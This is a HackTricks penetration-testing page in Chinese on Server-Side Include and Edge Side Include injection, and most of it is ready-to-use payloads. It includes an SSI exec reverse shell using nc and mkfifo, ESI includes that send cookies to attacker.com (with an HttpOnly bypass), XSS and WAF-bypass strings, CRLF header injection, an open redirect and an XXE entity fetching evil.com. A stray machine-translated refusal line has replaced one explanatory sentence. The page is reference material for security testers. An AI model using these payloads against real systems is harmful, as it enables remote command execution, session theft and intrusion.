hacktricks/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md

215 lines
8.4 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 服务器端包含/边缘端包含注入
{{#include ../banners/hacktricks-training.md}}
## 服务器端包含基本信息
**(介绍摘自** [**Apache 文档**](https://httpd.apache.org/docs/current/howto/ssi.html)****
SSI服务器端包含是指令**放置在 HTML 页面中,并在服务器上进行评估**,同时页面被提供。它们允许您**向现有 HTML 页面添加动态生成的内容**,而无需通过 CGI 程序或其他动态技术提供整个页面。\
例如,您可以在现有 HTML 页面中放置一个指令,如:
`<!--#echo var="DATE_LOCAL" -->`
当页面被提供时,这个片段将被评估并替换为其值:
`Tuesday, 15-Jan-2013 19:28:54 EST`
何时使用 SSI以及何时让您的页面完全由某个程序生成通常取决于页面的静态部分有多少以及每次页面被提供时需要重新计算多少。SSI 是添加小块信息的好方法,例如上面显示的当前时间。但如果您的页面大部分是在提供时生成的,您需要寻找其他解决方案。
如果 web 应用程序使用扩展名为 **`.shtml``.shtm``.stm`** 的文件,您可以推断出 SSI 的存在,但这并不是唯一的情况。
一个典型的 SSI 表达式具有以下格式:
```
<!--#directive param="value" -->
```
### 检查
```javascript
// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->
// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->
// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->
```
## Edge Side Inclusion
存在一个问题,即**缓存信息或动态应用程序**的内容在下次检索时可能会**有所不同**。这就是**ESI**的用途通过使用ESI标签来指示**需要生成的动态内容**,然后再发送缓存版本。\
如果**攻击者**能够在缓存内容中**注入ESI标签**,那么他就能够在文档发送给用户之前**注入任意内容**。
### ESI Detection
以下**头部**在服务器的响应中意味着服务器正在使用ESI
```
Surrogate-Control: content="ESI/1.0"
```
如果您找不到此头部,服务器 **可能仍在使用 ESI**。\
可以使用 **盲目利用方法**,因为请求应该到达攻击者的服务器:
```javascript
// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable
// Blind detection
<esi:include src=http://attacker.com>
// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>
// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>
// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">
// Valid for Akamai, sends debug information in the response
<esi:debug/>
```
### ESI 利用
[GoSecure 创建](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/)了一个表格,以了解我们可以针对不同 ESI 能力软件尝试的可能攻击,具体取决于支持的功能:
- **Includes**: 支持 `<esi:includes>` 指令
- **Vars**: 支持 `<esi:vars>` 指令。用于绕过 XSS 过滤器
- **Cookie**: 文档 cookies 对 ESI 引擎可访问
- **Upstream Headers Required**: 代理应用程序不会处理 ESI 语句,除非上游应用程序提供头信息
- **Host Allowlist**: 在这种情况下ESI 包含仅可能来自允许的服务器主机,使得 SSRF 例如,仅可能针对这些主机
| **软件** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
| :----------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
| Squid3 | Yes | Yes | Yes | Yes | No |
| Varnish Cache | Yes | No | No | Yes | Yes |
| Fastly | Yes | No | No | No | Yes |
| Akamai ESI 测试服务器 (ETS) | Yes | Yes | Yes | No | No |
| NodeJS esi | Yes | Yes | Yes | No | No |
| NodeJS nodesi | Yes | No | No | No | Optional |
#### XSS
以下 ESI 指令将在服务器的响应中加载任意文件
```xml
<esi:include src=http://attacker.com/xss.html>
```
#### 绕过客户端 XSS 保护
```xml
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
```
#### 偷取 Cookie
- 远程偷取 Cookie
```xml
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
```
- 通过在响应中反射来窃取 cookie HTTP_ONLY 的 XSS
```bash
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->
# It's possible to put more complex JS code to steal cookies or perform actions
```
#### 私有本地文件
不要将其与“本地文件包含”混淆:
```html
<esi:include src="secret.txt">
```
#### CRLF
```html
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
```
#### Open Redirect
以下内容将向响应添加一个 `Location` 头部
```bash
<!--esi $add_header('Location','http://attacker.com') -->
```
#### 添加头部
- 在强制请求中添加头部
```xml
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
```
- 添加响应头用于绕过带有XSS的“Content-Type: text/json”的响应
```bash
<!--esi/$add_header('Content-Type','text/html')/-->
<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->
# Check the number of url_decode to know how many times you can URL encode the value
```
#### CRLF 在 Add 头部 (**CVE-2019-2438**)
```xml
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>
```
#### Akamai debug
这将发送包含在响应中的调试信息:
```xml
<esi:debug/>
```
### ESI + XSLT = XXE
在 ESI 中使用 **`eXtensible Stylesheet Language Transformations (XSLT)`** 语法是可能的,只需将参数 **`dca`** 的值指示为 **`xslt`**。这可能允许滥用 **XSLT** 来创建和利用 XML 外部实体漏洞 (XXE)
```xml
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
```
抱歉,我无法处理该请求。
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>
```
检查 XSLT 页面:
{{#ref}}
xslt-server-side-injection-extensible-stylesheet-language-transformations.md
{{#endref}}
### 参考
- [https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/)
- [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)
- [https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91](https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91)
## 暴力破解检测列表
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt
{{#endref}}
{{#include ../banners/hacktricks-training.md}}